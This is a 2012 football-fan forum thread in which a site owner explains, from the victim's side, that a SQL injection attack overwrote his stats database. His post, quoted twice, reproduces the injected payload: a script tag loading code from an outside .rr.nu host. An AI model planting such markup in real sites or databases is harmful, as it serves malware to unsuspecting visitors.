The Poolie Bunker

A bunch of seriouly pissed off Hartlepool United fans..
It is currently Wed Nov 25, 2026 5:48 pm

All times are UTC [ DST ]




Post new topic Reply to topic  [ 11 posts ] 
Author Message
 Post subject: One For Mad John
PostPosted: Tue Jul 31, 2012 4:08 pm 
Offline

Joined: Wed May 11, 2011 4:25 pm
Posts: 4198
Just went onto the ITMC site looking for Les Green stats (RIP by the way) and when I clicked on his player profile my ESET software wouldn't let me connect - message said I had been redirected to what looks like a Russian web address (ended .rr.nu.) that has a virus. Have tried it twice more and the same thing happens.


Top
 Profile  
 
 Post subject: Re: One For Mad John
PostPosted: Tue Jul 31, 2012 4:27 pm 
Offline
Partially Top Guano Man
User avatar

Joined: Sat Nov 03, 2007 11:09 pm
Posts: 11204
Location: i am busy right now, can i ignore you some other time?
Same happened to me said some sort of virus and I could enter the site if I wanted, I refused

_________________
I was awoken last night by Darlo fans in the street playing football with a hedgehog
I was absolutely digusted and about to call the RSPCA when the hedgehog went 1-0 up.


Top
 Profile  
 
 Post subject: Re: One For Mad John
PostPosted: Tue Jul 31, 2012 4:50 pm 
Offline
User avatar

Joined: Wed Jan 03, 2007 9:10 pm
Posts: 11141
Location: Hartlepool
I went on a dodgy Russian porn site and it redirected me to ITMC. Still finished myself off though.....

_________________
Aka Masturbate2001


Top
 Profile  
 
 Post subject: Re: One For Mad John
PostPosted: Tue Jul 31, 2012 4:56 pm 
Offline

Joined: Wed May 11, 2011 4:25 pm
Posts: 4198
I went on a dodgy Russian porn site and it redirected me to Mutley in his frock...


Top
 Profile  
 
 Post subject: Re: One For Mad John
PostPosted: Wed Aug 01, 2012 1:04 am 
Offline
User avatar

Joined: Sat Aug 19, 2006 8:18 am
Posts: 9053
MadJohn wrote:
Cheers lads

The website itself is actually fine but the database has been compromised. In a nutshell, the database has been hit by an attack that targeted text fields over a certain length. For example, my People table has a field called "fullname". The content of that field has been wholly replaced, changing e.g.

"Neale James Cooper"

to

"></title><script src="http://lasimp04risoned.rr.nu/sl.php"></script><!--Neale James Cooper".
and repeating for all 16000+ people in the database.

That has happened throughout the system, trashing every team name, match report, ground name etc., and replacing with the same piece of script. I thought I had made the damn thing immune to all such SQL injection attacks but I must have left a catflap open somewhere. I'll find it and nail it shut. It was an impressive attack and it's bitten deep, but the defences were pretty good. The structure is intact, as is most of the data, and I have backups. I will have lost details of the recent friendlies but nothing from last season or earlier. Work is hectic at the moment so I may have to leave the site down for a little while, but it's far from permanent.

The good ship Mad Crowd is holed but still afloat and it will return. :cool:


Obviously I understand what all that means but for the rest of you...Mad John's site is temporarily fcked.

_________________
Apols


Top
 Profile  
 
 Post subject: Re: One For Mad John
PostPosted: Wed Aug 01, 2012 9:02 pm 
MadJohn wrote:
Cheers lads

The website itself is actually fine but the database has been compromised. In a nutshell, the database has been hit by an attack that targeted text fields over a certain length. For example, my People table has a field called "fullname". The content of that field has been wholly replaced, changing e.g.

"Neale James Cooper"

to

"></title><script src="http://lasimp04risoned.rr.nu/sl.php"></script><!--Neale James Cooper"

and repeating for all 16000+ people in the database.

That has happened throughout the system, trashing every team name, match report, ground name etc., and replacing with the same piece of script. I thought I had made the damn thing immune to all such SQL injection attacks but I must have left a catflap open somewhere. I'll find it and nail it shut. It was an impressive attack and it's bitten deep, but the defences were pretty good. The structure is intact, as is most of the data, and I have backups. I will have lost details of the recent friendlies but nothing from last season or earlier. Work is hectic at the moment so I may have to leave the site down for a little while, but it's far from permanent.

The good ship Mad Crowd is holed but still afloat and it will return. :cool:


Did you turn it off and on again :ugeek:


Top
  
 
 Post subject: Re: One For Mad John
PostPosted: Wed Aug 01, 2012 9:58 pm 
Offline
User avatar

Joined: Fri Aug 18, 2006 12:53 pm
Posts: 1203
Location: Seaton Carew, Hartlepool
John, you should be able to do an SQL style find and replace for that string. Thats if its the same throughout your db.

Hate MySQL injection attacks, vain of my job. Just out of curiousity what did you build the site in, framework wise etc?


Top
 Profile  
 
 Post subject: Re: One For Mad John
PostPosted: Thu Aug 02, 2012 8:38 am 
Offline
User avatar

Joined: Fri Aug 18, 2006 7:20 am
Posts: 18484
Location: Up Jack's Arse in America
MadJohn wrote:
stupoolie wrote:
John, you should be able to do an SQL style find and replace for that string. Thats if its the same throughout your db.

Hate MySQL injection attacks, vain of my job. Just out of curiousity what did you build the site in, framework wise etc?

Cheers Stu, but it's ok, I know what I'm doing on this. I'm just kicking myself for leaving anything even remotely resembling a backdoor; avoiding injection attacks is not difficult. Clearing up after it is a bit of a non-starter. I could easily write a script to remove any trace of the injection markup, but that horse has gone. It's not the rogue content that's the problem, it's the loss of the content that it has replaced. You're talking any reasonably long varchar field in over 16000+ people and 4000+ matches, all such content lost. But I'm relaxed about it. As I said, I have recent backups.

The most annoying thing is that I now have to spend a decent amount of time cleaning up the existing (old) site, when I'm around 60% of the way towards writing a whole new one from the bottom up. I've written the replacement in ASP.NET with some additional custom controls. I've also written it in such a way as to render SQL Injection attacks essentially impossible. I wish I could say the same about the current site, which unfortunately was written in classic ASP using, for 90% of the code at least, nothing more sophisticated than Notepad.

I don't use MySQL. The site has always been based around MS SQL Server, and the new site will be no different in that respect. All access to/from the db is via stored procedures. Had the same been true for all (rather than most) of the db access in the current site, I wouldn't have had any problems. I've just been tripped up by some old, derelict, should have been condemned, code.


Mr TPP, just for the benefit of those of us who don't share your technical knowledge, can you put the above into laymans terms please?

Ta.

_________________
Deep down inside you know I'm always right

NOTE: Any statements made by me are, for the avoidance of doubt and arseyness, my opinion and not necessarily absolute fact nor are they necessarily shared by the people who own and run this board


Top
 Profile  
 
 Post subject: Re: One For Mad John
PostPosted: Thu Aug 02, 2012 9:23 am 
Laymans terms - turn it off and on!


Top
  
 
 Post subject: Re: One For Mad John
PostPosted: Thu Aug 02, 2012 10:22 am 
Offline
User avatar

Joined: Sat Aug 19, 2006 8:18 am
Posts: 9053
Mr Ripper wrote:
MadJohn wrote:
stupoolie wrote:
John, you should be able to do an SQL style find and replace for that string. Thats if its the same throughout your db.

Hate MySQL injection attacks, vain of my job. Just out of curiousity what did you build the site in, framework wise etc?

Cheers Stu, but it's ok, I know what I'm doing on this. I'm just kicking myself for leaving anything even remotely resembling a backdoor; avoiding injection attacks is not difficult. Clearing up after it is a bit of a non-starter. I could easily write a script to remove any trace of the injection markup, but that horse has gone. It's not the rogue content that's the problem, it's the loss of the content that it has replaced. You're talking any reasonably long varchar field in over 16000+ people and 4000+ matches, all such content lost. But I'm relaxed about it. As I said, I have recent backups.

The most annoying thing is that I now have to spend a decent amount of time cleaning up the existing (old) site, when I'm around 60% of the way towards writing a whole new one from the bottom up. I've written the replacement in ASP.NET with some additional custom controls. I've also written it in such a way as to render SQL Injection attacks essentially impossible. I wish I could say the same about the current site, which unfortunately was written in classic ASP using, for 90% of the code at least, nothing more sophisticated than Notepad.

I don't use MySQL. The site has always been based around MS SQL Server, and the new site will be no different in that respect. All access to/from the db is via stored procedures. Had the same been true for all (rather than most) of the db access in the current site, I wouldn't have had any problems. I've just been tripped up by some old, derelict, should have been condemned, code.


Mr TPP, just for the benefit of those of us who don't share your technical knowledge, can you put the above into laymans terms please?

Ta.


If you're not clever enough to understand ASP.NET, SQL Injections and MS SQL Servers then I'm certainly not going to bother my arse explaining them to you.

_________________
Apols


Top
 Profile  
 
 Post subject: Re: One For Mad John
PostPosted: Thu Aug 02, 2012 12:02 pm 
Offline
User avatar

Joined: Tue Aug 16, 2011 3:59 pm
Posts: 3998
Location: The Town End
Quote:
If you're not boring enough to understand ASP.NET, SQL Injections and MS SQL Servers then I'm certainly not going to bother my arse explaining them to you.


Edited for accuracy.


Top
 Profile  
 
Display posts from previous:  Sort by  
Post new topic Reply to topic  [ 11 posts ] 

All times are UTC [ DST ]


Who is online

Users browsing this forum: Bazil, Essex poolie, Infidel, JBPoolie, nat the poolie, Poolie_merv, PTID, Rinkender, Sandman and 124 guests


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Jump to:  
Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group